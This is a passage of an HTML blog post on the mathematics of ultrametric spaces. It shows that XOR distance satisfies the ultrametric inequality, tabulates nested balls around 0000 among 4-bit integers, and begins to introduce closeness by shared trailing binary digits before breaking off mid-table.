style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span>.
The fix is — as we’ve seen above — to use the highest-bit value, which rounds each XOR <em>down</em> (notice the floor op) to the largest power of 2 that doesn’t exceed it.
Make sure this is clear.</p>
</blockquote>

<p>Does <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mclose">)</span></span></span></span> satisfy the three metric rules?
Definitely.
But it satisfies something stronger: the ultrametric inequality we defined in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>.
<strong>Why?</strong>
Because at the bit level, the highest bit where <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> disagree must already be a bit where either <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> disagree, or <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> disagree.
If both <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> agreed with <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> on that bit, then <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> would have to agree on it too — that’s a contradiction.</p>

<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#000;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]#dlg-balls{display:flex;flex-direction:column}
dialog[open]#dlg-clustering{display:flex;flex-direction:column}
</style>

<div style="text-align:center;cursor:zoom-in" onclick="document.getElementById('dlg-svg').showModal()">
    <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" class="responsive" />
</div>
<dialog id="dlg-svg" style="width:80vw;max-width:80vw">
  <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" style="width:100%;height:auto;display:block" />
</dialog>

<p>Now, are some weird consequences of these facts:
two balls are always either disjoint or one contains the other.
In Euclidean space, two circles can easily form a Venn diagram where they share some area but not all of it.
In an ultrametric space, this is mathematically impossible.
And every point inside a ball is equally a center of that ball.
Moreover, every interior point sees the exact same set of neighbours.
The geometry has no “edges” — only “inside” and “outside.”
Here’s your ball in an ultrametric space (wait, you thought it’s gonna be a round physical sphere?):</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="width:100%;height:460px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-balls').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-balls" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>
<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>

<p>Let’s now think a bit about closeness — what does XOR-closeness actually mean?</p>

<p>Two numbers are close when their XOR is small — i.e., when the most significant differing bit is low.
That means their <strong>leading (high-order) bits agree</strong>.</p>

<p>Take 4-bit integers and look at who is close to <code class="language-plaintext highlighter-rouge">0000</code>:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^0 = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mn>0001</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 1) = \{0000, 0001\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0001</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>2</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>0011</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 2) = \{0000, \ldots, 0011\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0011</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2^2 = 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>4</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>0111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 4) = \{0000, \ldots, 0111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">4</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 8) = \{0000, \ldots, 1111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — so you can read the table as a sequence of nested containments: each ball swallows the previous one whole, and the groups double in size at each step (1, 2, 4, 8 members).</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Now forget XOR entirely.
Here’s a completely different question.
What if we defined “closeness” by <strong>shared trailing digits</strong> instead?</p>

<p>Let’s say two integers are “close” if their <em>difference</em> is divisible by a high power of 2.
That is:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center">difference</th>
      <th style="text-align: center">highest power of 2 dividing it</th>
      <th style="text-align: center">close?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
